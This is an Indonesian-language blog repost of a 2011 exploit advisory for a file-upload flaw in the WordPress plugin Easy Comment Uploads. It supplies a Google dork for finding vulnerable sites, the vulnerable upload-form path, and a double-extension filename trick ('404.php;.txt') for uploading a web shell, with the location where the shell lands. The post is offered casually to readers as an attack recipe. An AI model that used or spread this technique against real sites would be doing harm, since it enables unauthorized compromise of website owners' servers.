Exploit Wordpress "/easy-comment-uploads/upload-form.php"

Nah sekarang saya share lagi di blog cupu saya ini buat agan-agan yang belum tau.

CEKIDOT

----------------------------------------------------------------------------
| Title : Wordpress Plugin EasyComment Upload Vulnerability
| Author: Z190T
| Vendor: http://wordpress.org/extend/plugins/easy-comment-uploads/
| Date : 15/06/2011
| Dork : "/easy-comment-uploads/upload-form.php" <<======= copy/pastekan di google
| Category : PHP [File Upload Vulnerability]
| Tested on: [Windows XP3, Linux Ubuntu]
----------------------------------------------------------------------------

*_Exploit_*

# http://[localhost]/[path]/easy-comment-uploads/upload-form.php
# http://[localhost]/easy-comment-uploads/upload-form.php

# File Extention [.txt],[.jpg],[gif],[bmp]

*_Preview_*

# site/wp-content/uploads/[years]/[month]/[yourshell]
# ex: site/wp-content/uploads/2011/06/404.php;.txt

=========================================================